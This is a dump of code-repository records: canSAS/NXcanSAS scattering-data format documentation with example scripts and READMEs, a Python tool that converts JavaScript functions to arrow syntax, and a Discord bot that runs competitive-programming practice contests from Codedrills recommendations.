canSAS1d/1.0 format (with the addition of \n*uncertainty* data and some additional metadata).\n\n```\n SASroot\n SASentry\n SASdata\n @Q_indices=0\n @I_axes=Q\n I: float[100]\n Q: float[100]\n```\n\n### 2-D image\n\n```\n SASroot\n SASentry\n SASdata\n @Q_indices=0,1\n @I_axes=Q,Q\n I: float[100, 512]\n Qx: float[100, 512]\n Qy: float[100, 512]\n Qz: float[100, 512]\n```\n\n### 2-D (image) I(|Q|) +/- sigma(|Q|)\n\n```\n SASroot\n SASentry\n SASdata\n @Q_indices=0,1\n @I_axes=Q,Q\n I: float[300, 300]\n @uncertainties=Idev\n Q: float[300, 300]\n Idev: float[300, 300]\n```\n\n### 2-D SAS/WAS images\n\nConsider the multi-technique experiment that produces \nsmall-angle and wide-angle scattering data images. \nThe reduced data results in images as well. \nEach image might be described separately (see the model for SAS using \nseveral detectors for an alternative). \nHere the SAS data image is 100 x 512 pixels. \nThe WAS data (not covered by this canSAS standard) is 256 x 256 pixels.\n \n```\n SASroot\n SASentry\n SASdata\n @name=\"sasdata\"\n @Q_indices=0,1\n @I_axes=Q,Q\n I: float[100, 512]\n Qx: float[100, 512]\n Qy: float[100, 512]\n Qz: float[100, 512]\n SASdata\n @name=\"wasdata\"\n @Q_indices=0,1\n @I_axes=Q,Q\n I: float[256, 256]\n Qx: float[256, 256]\n Qy: float[256, 256]\n Qz: float[256, 256]\n```\n\n### 2-D masked image\n\n```\n SASroot\n SASentry\n SASdata\n @Q_indices=0,1\n @I_axes=Q,Q\n @Mask_indices=0,1\n I: float[100, 512]\n Qx: float[100, 512]\n Qy: float[100, 512]\n Qz: float[100, 512]\n Mask: int[100, 512]\n```\n\n### 2-D generic I(Q)\n\nCould use this model, for example, to describe data from \nmultiple detectors (by listing individual \npixels from all detectors retained after any masking). \nOr, could describe data from one detector \nof any geometry. This is the most flexible.\n\nExamples: \n:download:`HDF5 <../../examples/hdf5/generic2dcase.h5>`\n:download:`XML <../../examples/xml/generic2dcase.xml>`\n\n```\n SASroot\n SASentry\n SASdata\n @Q_indices=0\n @I_axes=Q\n I: float[100*512]\n Qx: float[100*512]\n Qy: float[100*512]\n Qz: float[100*512]\n```\n\n### 2-D SANS and SAXS\n\nConsider the multi-technique experiment that produces \nsmall-angle neutron and X-ray scattering data. \nHere the SANS data image is 100 x 512 pixels and\nthe SAXS data is 256 x 256 pixels. (Normally, you will\nneed more metadata for each probe, such as wavelength, to\nmake a full analysis using both datasets.)\n\n```\n SASroot\n SASentry\n SASdata\n @name=\"sans\"\n @probe_type=\"neutron\"\n @Q_indices=0\n @I_axes=Q\n I: float[100*512]\n Qx: float[100*512]\n Qy: float[100*512]\n Qz: float[100*512]\n SASdata\n @name=\"saxs\"\n @probe_type=\"xray\"\n @Q_indices=0\n @I_axes=Q\n I: float[256*256]\n Qx: float[256*256]\n Qy: float[256*256]\n Qz: float[256*256]\n```\n\n### several detectors\n\nHere, the data are appended to a common ``I`` data object.\nThis hypothetical case has reduced data derived from \nthree detectors, I_a(Q), I_b(Q), and I_c(Q).\nAlso, a certain number of pixels (``nDiscardedPixels``) have been discarded\npreviously from the data for various reasons.\n \n.. tip:: Typical data might have fewer useful pixels due to various\n detector artifacts such as zingers, streaks, and dead spots, as well\n as an applied intensity mask. There is no need to write such useless pixels\n to the data objects.\n\nintensity | detector | shape\n----------|----------|--------\n`I_a(Q)` | 2-D | 100 x 512 pixels\n`I_b(Q)` | 1-D | 2000 pixels\n`I_c(Q)` | 2-D | 256 x 256 pixels\n\nData from a SAXS/MAXS/WAXS instrument might be represented thus.\n\n```\n SASroot\n SASentry\n SASdata\n @Q_indices=0\n @I_axes=Q\n I: float[100*512 + 2000 + 256*256 - nDiscardedPixels]\n Qx: float[100*512 + 2000 + 256*256 - nDiscardedPixels]\n Qy: float[100*512 + 2000 + 256*256 - nDiscardedPixels]\n Qz: float[100*512 + 2000 + 256*256 - nDiscardedPixels]\n```\n\n## I(t,Q) models with time-dependence\n\n### 1-D I(t,Q)\n\n```\n SASroot\n SASentry\n SASdata\n @I_axes=Time,Q\n @Time_indices=0\n @Q_indices=1\n Time: float[nTime] \n Q: float[100]\n I: float[nTime,100]\n```\n\n### 1-D I(t,Q(t))\n\nThis example is slightly more complex, showing data where `Q` is also time-dependent.\n\n```\n SASroot\n SASentry\n SASdata\n @Q_indices=0,1\n @Time_indices=0\n @I_axes=Time,Q\n I: float[nTime,100]\n Q: float[nTime,100]\n Time: float[nTime]\n```\n\n.. _1D SAS data in a time series I(t,Q(t)) +/- Idev(t,Q(t)):\n\n### 1-D I(t,Q(t)) +/- sigma(t,Q(t))\n\nNow, provide the uncertainties (where ``Idev`` represents \nsigma(t,Q(t)) ) of the intensities:\n\n```\n SASroot\n SASentry\n SASdata\n @Q_indices=0,1\n @Time_indices=0\n @I_axes=Time,Q\n I: float[nTime,100]\n @uncertainties=Idev\n Idev: float[nTime,100]\n Q: float[nTime,100]\n Time: float[nTime]\n```\n\n### 2-D I(t,Q)\n \n```\n SASroot\n SASentry\n SASdata\n @Q_indices=1\n @Time_indices=0\n @I_axes=Time,Q\n I: float[nTime,100*512]\n Qx: float[100*512]\n Qy: float[100*512]\n Qz: float[100*512]\n Time: float[nTime]\n```\n\n.. _2-D I(t,Q(t)):\n\n### 2-D I(t,Q(t))\n\nThis example is slightly more complex, showing data where `Q` is also time-dependent.\n\n```\n SASroot\n SASentry\n SASdata\n @Q_indices=0,1\n @Time_indices=0\n @I_axes=Time,Q\n I: float[nTime,100*512]\n Qx: float[nTime,100*512]\n Qy: float[nTime,100*512]\n Qz: float[nTime,100*512]\n Time: float[nTime]\n```\n\n.. _2-D.time-dependent.masked.image:\n\n### 2-D I(t,Q(t)) masked image\n\nThis example explores a bit more complexity, adding a mask that is time-dependent.\n\n```\n SASroot\n SASentry\n SASdata\n @Q_indices=0,1,2\n @I_axes=Time,Q,Q\n @Mask_indices=1,2\n @MTime_indices=0\n I: float[nTime,100,512]\n Qx: float[nTime,100,512]\n Qy: float[nTime,100,512]\n Qz: float[nTime,100,512]\n Time: float[nTime]\n Mask: int[100,512]\n```\n\n## models with several varied parameters\n\n### 2-D I(t,T,P,Q(t,T,P))\n\nComplex case of I(t,T,P,Q(t,T,P))\nwhere all `Q` values are different for each combination of time, temperature, and pressure.\n\n```\n SASroot\n SASentry\n SASdata\n @Time_indices=0\n @Temperature_indices=1\n @Pressure_indices=2\n @Q_indices=0,1,2,3\n @I_axes=Time,Temperature,Pressure,Q\n I: float[nTime,nTemperature,nPressure,100*512]\n Qx: float[nTime,nTemperature,nPressure,100*512]\n Qy: float[nTime,nTemperature,nPressure,100*512]\n Qz: float[nTime,nTemperature,nPressure,100*512]\n Time: float[nTime]\n Temperature: float[nTemperature]\n Pressure: float[nPressure]\n```\n\n### 2-D I(T,t,P,Q(t)) images\n\nSlightly less complex than previous, now `I(T,t,P,Q(t))`\nwhere `Q` only depends on time.\n\n```\n SASroot\n SASentry\n SASdata\n @Temperature_indices=0\n @Time_indices=1\n @Pressure_indices=2\n @Q_indices=1,3,4\n @I_axes=Temperature,Time,Pressure,Q,Q\n I: float[nTemperature,nTime,nPressure,100,512]\n Qx: float[nTime,100,512]\n Qy: float[nTime,100,512]\n Qz: float[nTime,100,512]\n Time: float[nTime]\n Temperature: float[nTemperature]\n Pressure: float[nPressure]\n```\n\n## Complicated Uncertainties\n\nThe uncertainties might be derived from several factors, or there may even be\nseveral uncertainties contributing. In practical terms, these are special \ncases for analysis software. In the interest of completeness, it is \ninteresting to describe how they might be represented.\n\n\n### Representing Uncertainty Components\n\nIt is possible to represent the components that contribute\nto the uncertainty by use of a subgroup. Add a *@components* attribute\nto the principal uncertainty, naming the subgroup that contains the \ncontributing datasets.\n\nAs with all uncertainties, each component should have the same *shape* \n(rank and dimensions) as its parent dataset.\n\nNote that a *@basis* attribute indicates how this uncertainty was determined.\nThe values are expected to be a short list, as yet unspecified.\n\n```\n SASroot\n SASentry\n SASdata\n @Q_indices=0\n @I_axes=Q\n Q : float[nI]\n I : float[nI]\n @uncertainties=Idev\n Idev : float[nI]\n @components=I_uncertainties\n I_uncertainties:\n electronic : float[nI]\n @basis=\"Johnson noise\"\n counting_statistics: float[nI]\n @basis=\"shot noise\"\n secondary_standard: float[nI]\n @basis=\"esd\"\n```\n\n### Representing Multiple Uncertainties\n\n.. note:: This is just a proposition. It is based on the assumption\n that some analysis method might actually know how to handle this case.\n\nIf more than one uncertainty contributes to the intensity (and the method\ndescribed above in :ref:`representing uncertainty components` \nis not appropriate), it is proposed to\nname more than one uncertainty dataset in the *@uncertainty* attribute.\nThe first member in this list would be the principal uncertainty.\nThe *@basis* attribute can be used to further describe each uncertainty.\nOne example be: \n\n```\n SASroot\n SASentry\n SASdata\n @Q_indices=0\n @I_axes=Q\n Q : float[nI]\n I : float[nI]\n @uncertainties=Idev,Ierr\n Idev : float[nI]\n @basis=\"esd\"\n Ierr : float[nI]\n @basis=\"absolute intensity calibration\"\n```\n\n## Unhandled Cases\n\n### 2-D image with Q_x & Q_y vectors\n\nThis model is outside the scope of this format. The method of addressing \nthe `Q` values is different than for the other models.\n\n.. Is this really true?\n.. This usage seems quite common and should be able to be handled.\n\n```\n SASroot\n SASentry\n SASdata\n @Q_indices=*,*\n @I_axes=???\n I: float[100, 512]\n Qx: float[100]\n Qy: float[512]\n```\n\nInstead, use either the model titled: \n`2-D image <simple 2-D (image) I(Q)>`_\nor `2-D generic data <generic 2-D I(Q)>`_ (preferred).\n" }, { "alpha_fraction": 0.6712453961372375, "alphanum_fraction": 0.7774725556373596, "avg_line_length": 51.0476188659668, "blob_id": "b84e42cbd9f99bc1565f932c8b34fb35b84231c4", "content_id": "fd663fd04688e25ed80a6643aa66d131afa134c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1092, "license_type": "no_license", "max_line_length": 71, "num_lines": 21, "path": "/1d_standard/xture.sh", "repo_name": "canSAS-org/NXcanSAS_examples", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\npunx st 1998spheres.h5 > structure/1998spheres.h5.txt\npunx st bimodal-test1.h5 > structure/bimodal-test1.h5.txt\npunx st cansas1d.h5 > structure/cansas1d.h5.txt\npunx st cs_af1410.h5 > structure/cs_af1410.h5.txt\npunx st cs_collagen.h5 > structure/cs_collagen.h5.txt\npunx st cs_collagen_full.h5 > structure/cs_collagen_full.h5.txt\npunx st cs_rr_polymers.h5 > structure/cs_rr_polymers.h5.txt\npunx st gc14-dls-i22.h5 > structure/gc14-dls-i22.h5.txt\npunx st GLASSYC_C4G8G9_no_TL.h5 > structure/GLASSYC_C4G8G9_no_TL.h5.txt\npunx st GLASSYC_C4G8G9_w_TL.h5 > structure/GLASSYC_C4G8G9_w_TL.h5.txt\npunx st ill_sasxml_example.h5 > structure/ill_sasxml_example.h5.txt\npunx st ISIS_SANS_Example.h5 > structure/ISIS_SANS_Example.h5.txt\npunx st isis_sasxml_example.h5 > structure/isis_sasxml_example.h5.txt\npunx st r586.h5 > structure/r586.h5.txt\npunx st r597.h5 > structure/r597.h5.txt\npunx st s81-polyurea.h5 > structure/s81-polyurea.h5.txt\npunx st samdata_WITHTX.h5 > structure/samdata_WITHTX.h5.txt\npunx st W1W2.h5 > structure/W1W2.h5.txt\npunx st xg009036_001.h5 > structure/xg009036_001.h5.txt" }, { "alpha_fraction": 0.7599999904632568, "alphanum_fraction": 0.7960000038146973, "avg_line_length": 40.66666793823242, "blob_id": "9d3a15c4a408a4d51df4795dbac3703b74bc6adc", "content_id": "c15ffb23de3bcf502c1e8173f2f97120c2466a8c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 250, "license_type": "no_license", "max_line_length": 86, "num_lines": 6, "path": "/1d_standard/README.md", "repo_name": "canSAS-org/NXcanSAS_examples", "src_encoding": "UTF-8", "text": "# 1D-standard\nexample data files from the canSAS1D/1.0 standard converted to the NXcanSAS standard\n\nsee http://www.cansas.org/formats/canSAS1d/1.1/doc/index.html\n\nAll files were converted using the xml2hdf5.py file in the \"python\" subdirectory here.\n" }, { "alpha_fraction": 0.5265957713127136, "alphanum_fraction": 0.5904255509376526, "avg_line_length": 25.85714340209961, "blob_id": "255ea2dc79eb027412f26e030aea2e716507b85f", "content_id": "20c415681e4c7b7862bd6e7bd15875a72df550f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 188, "license_type": "no_license", "max_line_length": 47, "num_lines": 7, "path": "/others/NIST/README.md", "repo_name": "canSAS-org/NXcanSAS_examples", "src_encoding": "UTF-8", "text": "Reduced Data from NIST / A. Jackson\n-----------------------------------\n\nFiles have been \"manually\" converted to canSAS\n\n* D2O_100pc.hdf5 (3D reduced data)\n* H2O_100pc.hdf5 (3D reduced data)\n" }, { "alpha_fraction": 0.8421052694320679, "alphanum_fraction": 0.8421052694320679, "avg_line_length": 37, "blob_id": "a074d263f7625d74aa8d145deb2cffe595330d2f", "content_id": "3b928e96d0a95c152b411c93bcec8385842fca1b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 76, "license_type": "no_license", "max_line_length": 63, "num_lines": 2, "path": "/resources/README.md", "repo_name": "canSAS-org/NXcanSAS_examples", "src_encoding": "UTF-8", "text": "# resources\nvarious documents and tools to support the NXcanSAS definitions\n" }, { "alpha_fraction": 0.6740740537643433, "alphanum_fraction": 0.7259259223937988, "avg_line_length": 32.75, "blob_id": "2724a580f36c62c0180e96c83c8d1a76db8f9911", "content_id": "e6444556da8daac21e0bad0706f7d12e81f7b661", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 136, "license_type": "no_license", "max_line_length": 83, "num_lines": 4, "path": "/resources/ILL/README.txt", "repo_name": "canSAS-org/NXcanSAS_examples", "src_encoding": "WINDOWS-1252", "text": "Attached: N117 35°C (1).zip\nMessage from paul@butlerabney.org:\n\nAlmost couldn't find these --- first dump is 1D kinetic data from ILL (From Lionel)\n" } ]
13
KeiGiang/Arrows-Only
https://github.com/KeiGiang/Arrows-Only
9fd64d6a3402e7336a9f7e7ccc07cb88f0f4aca1
37a97158e8a1c99654efbf35fa12e7dd1c51c768
56c16339d7014d65763366439833cebd08e7e14d
refs/heads/master
2020-06-24T11:34:17.948703
2017-07-13T17:51:03
2017-07-13T17:51:03
96,934,430
0
2
null
null
null
null
null
[ { "alpha_fraction": 0.5708699822425842, "alphanum_fraction": 0.5783643126487732, "avg_line_length": 30.316326141357422, "blob_id": "8a38a52d0e83c4a6dbe5771a2a37789b871c9982", "content_id": "b237c2b826d4a6ad34d0eec6f26cd1a43089b10e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3069, "license_type": "no_license", "max_line_length": 169, "num_lines": 98, "path": "/func-to-arrow.py", "repo_name": "KeiGiang/Arrows-Only", "src_encoding": "UTF-8", "text": "import sys, os\nimport fileinput\n\nfuncString = \"function (\"\nopenBracket = '('\nclosingBracket = ') {'\nclosingBracket2 = '){'\narrowSyntax = ') => {'\n\ndef main():\n\n if (len(sys.argv) < 2 or len(sys.argv) > 3):\n print 'ERROR:'\n print 'Please supply either a directory to a folder containing JavaScript files, or a JavaScript file and an optional output file name in the following formats:'\n print '----------------------------------------'\n print 'To convert all files in a directory:'\n print 'python func-to-arrow.py \"directory-to-folder\"'\n print 'To convert a single file with optional output file:'\n print 'python func-to-arrow.py \"JavaScript-file.js\" \"output-file.js\"'\n\n elif (len(sys.argv) == 2):\n input1 = sys.argv[1]\n jsFileExt = '.js'\n # newFileName = sys.argv[1].split('.')[0] + '-new.' + sys.argv[1].split('.')[1]\n if (jsFileExt in input1):\n parseFile(input1, False, False)\n else:\n parseDir(input1)\n # for f in os.listdir(input1):\n # if (jsFileExt in f):\n # parseFile(f, False, input1)\n\n elif (len(sys.argv) == 3):\n fileIn = sys.argv[1]\n fileOut = sys.argv[2]\n\n if ((jsFileExt in sys.argv[1]) and (jsFileExt in sys.argv[2])):\n parseFile(open(fileIn), fileOut, False)\n else:\n print 'Please check your file types'\n\n exit()\n\ndef parseDir(folder):\n for f in os.listdir(folder):\n if (('.js' in f) and ('.min.' not in f)):\n parseFile(f, False, folder)\n elif (os.path.isdir(os.path.join(folder, f)) and (f != 'node_modules')):\n parseDir(os.path.join(folder, f))\n\n return\n\ndef parseFile(fileIn, fileOut, directory):\n if (fileOut):\n newFileName = fileOut\n\n else:\n newFileName = str(fileIn).split('.')[0] + '-new.' + fileIn.split('.')[1]\n\n if (directory):\n fileIn = os.path.join(directory, fileIn)\n newFile = open(os.path.join(directory, newFileName), 'a+')\n\n else:\n newFile = open(newFileName, 'a+')\n\n isSame = True\n\n for line in open(fileIn):\n toWrite = arrowStyle(line)\n newFile.write(toWrite)\n if (line != toWrite):\n isSame = False\n\n newFile.close();\n\n if isSame:\n os.remove(os.path.join(directory, newFileName))\n print 'No changes were made to ' + fileIn\n else:\n print 'Changes were made to ' + fileIn\n oldFile = os.path.join(directory, newFileName.replace('-new', '-old'))\n os.rename(fileIn, oldFile)\n # print fileIn + ' has been renamed to ' + oldFile\n # print newFileName + ' has been renamed to ' + fileIn\n os.rename(os.path.join(directory, newFileName), fileIn)\n\n\ndef arrowStyle(line):\n if (funcString in line):\n newLine = line.replace(funcString, openBracket)\n newLine = newLine.replace(closingBracket, arrowSyntax)\n newLine = newLine.replace(closingBracket2, arrowSyntax)\n return newLine\n else:\n return line\n\nmain()\n" }, { "alpha_fraction": 0.7395543456077576, "alphanum_fraction": 0.7409470677375793, "avg_line_length": 31.636363983154297, "blob_id": "1c1da859e160d89fcf57551f3f3f7797af18b16d", "content_id": "f745dc65dc2529fbd203e768968c332c3e2b1a9b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 718, "license_type": "no_license", "max_line_length": 165, "num_lines": 22, "path": "/README.md", "repo_name": "KeiGiang/Arrows-Only", "src_encoding": "UTF-8", "text": "# Arrows-Only\nTake old JavaScript functions and convert them to arrow syntax!\n\n## Note: There are some special cases where using the arrow-function syntax will break your code. Always double check the new code works before deleting the old one.\n\n## Required:\nPython 2\n\nOld JavaScript/ECMAScript Code\n\n## How to Run:\nNote: Converted files can be found in the folder of the original files with a '-new.js' suffix.\n### Converting all .js files in a folder:\n```bash\n$ python func-to-arrow.py 'path-to-folder'\n```\n\n### Converting a single .js file:\n```bash\n$ python func-to-arrow.py 'yourFile.js' 'newFileName.js'\n```\nif 'newFileName.js' is not provided, the output will default to 'yourFile-new.js' in the same directory.\n" }, { "alpha_fraction": 0.5367088317871094, "alphanum_fraction": 0.5443037748336792, "avg_line_length": 25.33333396911621, "blob_id": "ea2cd515ea15296d03c4c9e57484b75dff3fb53e", "content_id": "56c57160709f4bb7ca2f264304abb3815f182730", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 395, "license_type": "no_license", "max_line_length": 80, "num_lines": 15, "path": "/remove-old.py", "repo_name": "KeiGiang/Arrows-Only", "src_encoding": "UTF-8", "text": "import os, sys\n\ndef main():\n if (len(sys.argv) == 2):\n if os.path.isdir(sys.argv[1]):\n parseDir(sys.argv[1])\n\ndef parseDir(folder):\n for f in os.listdir(folder):\n if ('-old.' in f):\n os.remove(os.path.join(folder, f))\n elif (os.path.isdir(os.path.join(folder, f)) and (f != 'node_modules')):\n parseDir(os.path.join(folder, f))\n\nmain()\n" } ]
3
RamneekSingh24/Discord-Bot-Codedrills
https://github.com/RamneekSingh24/Discord-Bot-Codedrills
f952ecbb429945e95035fc4c09c6101f33587baf
7951c3a4417e8133356c3d8372c0f4bd04cf418a
be4f24371148fa29ee6aa5e639085a2fbce9bb8b
refs/heads/main
2023-05-08T22:21:48.622329
2021-05-21T16:55:08
2021-05-21T16:55:08
366,335,125
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6451414227485657, "alphanum_fraction": 0.6577490568161011, "avg_line_length": 27.77876091003418, "blob_id": "0e6f025fb125dff466ac0a5badf2cac528a2b2ea", "content_id": "a9430ed55f3ef6f9f49d769621aa0b67db83e072", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3252, "license_type": "no_license", "max_line_length": 135, "num_lines": 113, "path": "/main.py", "repo_name": "RamneekSingh24/Discord-Bot-Codedrills", "src_encoding": "UTF-8", "text": "import requests\nfrom bs4 import BeautifulSoup\nimport discord\nimport os\nfrom tabulate import tabulate\nimport handlers\nimport pandas as pd\nfrom helpers import get_url, get_problems, trim,load_problems\nfrom handlers import start_contest, update_leaderboard,add_cf_user,users,get_recommendations_topics, set_handle, recommendations_handle\n\nfrom keep_alive import keep_alive\n\nimport weasyprint as wsp\nimport PIL as pil\n\n# global running\n# running = contest_running\n\n\n\nclient = discord.Client()\n\n@client.event\nasync def on_ready():\n print('We have logged in as {0.user}'.format(client))\n\n\n@client.event\nasync def on_message(message):\n global contest_running\n\n if message.author == client.user:\n return\n\n msg = message.content\n #params = msg.lower().split(' ')\n params = msg.split(' ')\n if params[0][0] != '!':\n return\n\n if params[0] == '!setrc':\n handle = params[1]\n rc = set_handle(handle)\n if rc < 0:\n await message.channel.send('Invalid codeforces handle')\n else:\n await message.channel.send('Done! Getting recommandations from: '+handle+\".\")\n\n \n if params[0] == '!topics':\n msg = get_recommendations_topics(recommendations_handle)\n await message.channel.send(msg)\n\n if params[0] == '!add':\n username = params[1]\n rc = add_cf_user(username)\n if rc == -1:\n await message.channel.send('User already registered!')\n elif rc == -2:\n await message.channel.send('Not a valid user on CodeForces!')\n else:\n await message.channel.send(f\"Sucessfully added {username}\")\n\n elif params[0] == '!all':\n await message.channel.send(users)\n\n elif params[0] == '!start':\n if handlers.contest_running:\n await message.channel.send(\"A contest is already Active !\")\n return\n task = \"_\".join(word for word in params[1:])\n #img_filepath = 'table.png'\n #print(task)\n msg = start_contest(task)\n \n if msg == \"error\":\n await message.channel.send(\"Please Try Again!\")\n else: \n e = discord.Embed(\n title=f\"Problem Set {handlers.ID}\\n\",\n description=msg,\n color=0xFF5733)\n await message.channel.send(embed=e)\n\n elif params[0] == '!lb':\n id = params[1] if len(params) > 1 else handlers.ID\n df_lead = update_leaderboard(id)\n df_lead['Total'] = df_lead[list(df_lead.columns)[1:]].sum(axis=1)\n df_lead.sort_values(by='Total',ascending=False, inplace=True)\n await message.channel.send(\"```\"+tabulate(df_lead, headers='keys', tablefmt='psql', showindex=False)+\"```\")\n # f = discord.File('table.png', filename=\"image.png\")\n # e = discord.Embed(title='Leaderboard', color=0xFF5733)\n # e.set_image(url=\"attachment://image.png\")\n # await message.channel.send(file=f, embed=e)\n \n elif params[0] == \"!prob\":\n id = params[1] if len(params) > 1 else handlers.ID\n msg = load_problems(id)\n e = discord.Embed(\n title=f\"Problem Set {handlers.ID}\\n\",\n description=msg,\n color=0xFF5733)\n await message.channel.send(embed=e)\n\n elif params[0] == \"!end\":\n if handlers.contest_running == 0:\n await message.channel.send(\"No contest is running !\")\n else:\n handlers.contest_running = 0\n await message.channel.send(\"Contest Abandoned !\")\n\nkeep_alive()\nclient.run(os.getenv('TOKEN'))\n" }, { "alpha_fraction": 0.6464266777038574, "alphanum_fraction": 0.6528748273849487, "avg_line_length": 27.615385055541992, "blob_id": "b11402f0e501f5de6c4f9f5ee4cd2e02a0f8f3ad", "content_id": "08634dae5df0248ba4ec5758319ce8d3af240d60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1861, "license_type": "no_license", "max_line_length": 113, "num_lines": 65, "path": "/helpers.py", "repo_name": "RamneekSingh24/Discord-Bot-Codedrills", "src_encoding": "UTF-8", "text": "import requests\nfrom bs4 import BeautifulSoup\nimport discord\nimport os\nimport pandas as pd\n\nimport weasyprint as wsp\nimport PIL as pil\n\n\ndef get_url(task,handle):\n URL = 'https://recommender.codedrills.io/profile?handles=cf%2Fjatinmunjal2k'\n page = requests.get(URL)\n\n soup = BeautifulSoup(page.content, 'html.parser')\n \n # print(task)\n \n result = soup.find(id=task)\n\n url = result.find(title='An url for sharing and keeping track of solved problems for this recommendation list')\n link = \"https://recommender.codedrills.io\"+url['href']\n return link\n\ndef get_problems(task, ID,handle):\n # print(ID)\n items = [[],[]]\n buffer = \"\"\n URL = get_url(task,handle)\n page = requests.get(URL)\n soup = BeautifulSoup(page.content, 'html.parser')\n elems = soup.find_all('tr')\n idx = 1\n for e in elems:\n a_tag = e.find('a')\n buffer = buffer +\"[\"+str(idx)+\"](\" + a_tag['href'] + \") \" + a_tag.text + \"\\n\"\n items[0].append(a_tag.text)\n items[1].append(a_tag['href'])\n idx += 1\n\n df = pd.DataFrame(list(zip(items[0],items[1])), columns = ['name', 'link'])\n df.to_csv('contests/problems-contest'+str(ID)+'.csv' , index = False)\n #print(df.head(3))\n\n return buffer\n\ndef load_problems(id):\n df = pd.read_csv('contests/problems-contest'+str(id)+'.csv')\n buffer = \"\"\n for idx, row in df.iterrows():\n buffer = buffer + row['name'] + \" [Link](\" + row['link'] + \")\\n\"\n return buffer\n \n\ndef trim(source_filepath, target_filepath=None, background=None):\n if not target_filepath:\n target_filepath = source_filepath\n img = pil.Image.open(source_filepath)\n if background is None:\n background = img.getpixel((0, 0))\n border = pil.Image.new(img.mode, img.size, background)\n diff = pil.ImageChops.difference(img, border)\n bbox = diff.getbbox()\n img = img.crop(bbox) if bbox else img\n img.save(target_filepath)\n\n" }, { "alpha_fraction": 0.7426614761352539, "alphanum_fraction": 0.7563600540161133, "avg_line_length": 43.434783935546875, "blob_id": "a937dd24fb4375dbcb807cabfe889aa996bc0dc1", "content_id": "f5640d9f2175786bef965df68aadd9aad8e4c0c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1022, "license_type": "no_license", "max_line_length": 144, "num_lines": 23, "path": "/README.md", "repo_name": "RamneekSingh24/Discord-Bot-Codedrills", "src_encoding": "UTF-8", "text": "# Discord-Bot-Codedrills\nDiscord bot for practicing cp-problems with your friends\n\n# Instructions for adding the bot to your server\n\n1. Create a bot account from, https://discord.com/developers/applications and give it general chat and message priviliges.\n2. Change the TOKEN in .env file to your bot's token.\n3. Make sure to delete the contents of 'contests' folder.\n4. Host the bot on replit.\n5. Add bot to your server.\n\n# Commands/Features\nUse these commands in the text channel to interact with the bot\n1. !add _username_ : add user (must be a valid codeforces handle)\n2. !all : shows list of all users\n3. !topics : shows list of topics\n4. !start _topicname_ : Start a contest of 10 problems from the topic\n5. !lb _ID_ : display the leaderboard for the contest(running/previous) with the given ID. (ID of the contest is displayed by the bot in !start)\n6. !end : end the ongoing contest\n7. !prob _ID_: display the problem-set of the contest with given ID.(running/previous)\n\n\nThe data-base is stored in contests folder\n" }, { "alpha_fraction": 0.6300992369651794, "alphanum_fraction": 0.6433296799659729, "avg_line_length": 27.76984214782715, "blob_id": "c0a869472d176af9567c831e5116f318255f883d", "content_id": "187d91c6a7a649f3d3d1dc142bbcebec1dbeed34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3628, "license_type": "no_license", "max_line_length": 109, "num_lines": 126, "path": "/handlers.py", "repo_name": "RamneekSingh24/Discord-Bot-Codedrills", "src_encoding": "UTF-8", "text": "import requests\nfrom bs4 import BeautifulSoup\nimport discord\nimport os\nfrom tabulate import tabulate\nimport pandas as pd\nfrom helpers import get_url, get_problems, trim,load_problems\nfrom keep_alive import keep_alive\n\nimport weasyprint as wsp\nimport PIL as pil\n\nglobal ID, contest_running, users, recommendations_handle\nID = 0\ncontest_running = 0\nusers = []\nrecommendations_handle = 'jatinmunjal2k'\n\n\n\ndef get_recommendations_topics(handle='jatinmunjal2k'):\n topics = \"Available Topics:\\n\"\n URL = 'https://recommender.codedrills.io/profile?handles=cf%2F' + handle\n page = requests.get(URL)\n soup = BeautifulSoup(page.content, 'html.parser')\n ul = soup.find(\"ul\", class_=\"nav nav-pills\")\n tags = ul.find_all('li')\n for e in tags:\n topics = topics + e.text.strip() + \", \"\n return topics[:-2]\n\n\ndef set_handle(handle):\n global recommendations_handle\n r = requests.head('https://codeforces.com/profile/'+handle)\n if r.status_code != 200:\n return -1\n recommendations_handle = handle\n return 0\n\ndef start_contest(task):\n global ID, contest_running\n try:\n ID += 1\n problems_str = get_problems(task, ID,recommendations_handle)\n init_leaderboard(ID)\n contest_running = 1\n return problems_str\n except:\n ID -= 1\n return \"error\"\n \ndef add_cf_user(cf_handle):\n global users\n\n if cf_handle in users:\n return -1\n\n r = requests.head('https://codeforces.com/profile/'+cf_handle)\n if r.status_code != 200:\n return -2\n\n users.append(cf_handle)\n if contest_running == 1:\n df = pd.read_csv('contests/leaderboard'+str(ID)+'.csv')\n entry = [cf_handle] + [0]*(df.shape[1]-1)\n df.loc[len(df)] = entry\n df.to_csv('contests/leaderboard'+str(ID)+'.csv',index = False)\n\n return 1\n\n# def print_leaderboard(id, img_filepath):\n# df_leaderboard = pd.read_csv('contests/leaderboard'+str(id)+'.csv')\n# css = wsp.CSS(string='''\n# @page { size: 2048px 2048px; padding: 0px; margin: 0px; }\n# table, td, tr, th { border: 1px solid black; }\n# td, th { padding: 4px 8px; }\n# ''')\n# html = wsp.HTML(string=df_leaderboard.to_html(index=False))\n# html.write_png(img_filepath, stylesheets=[css])\n# trim(img_filepath)\n\ndef init_leaderboard(id):\n df = pd.read_csv('contests/problems-contest'+str(id)+'.csv')\n problems = df['name']\n zeros = [ [0]*len(users) for i in range(len(problems))]\n df_scoreboard = pd.DataFrame(data=list(zip(users,*zeros)), columns=['User']+list(range(1,len(problems)+1)))\n df_scoreboard.to_csv('contests/leaderboard'+str(id)+'.csv',index=False)\n \n # print_leaderboard(id, img_filepath)\n \n\ndef 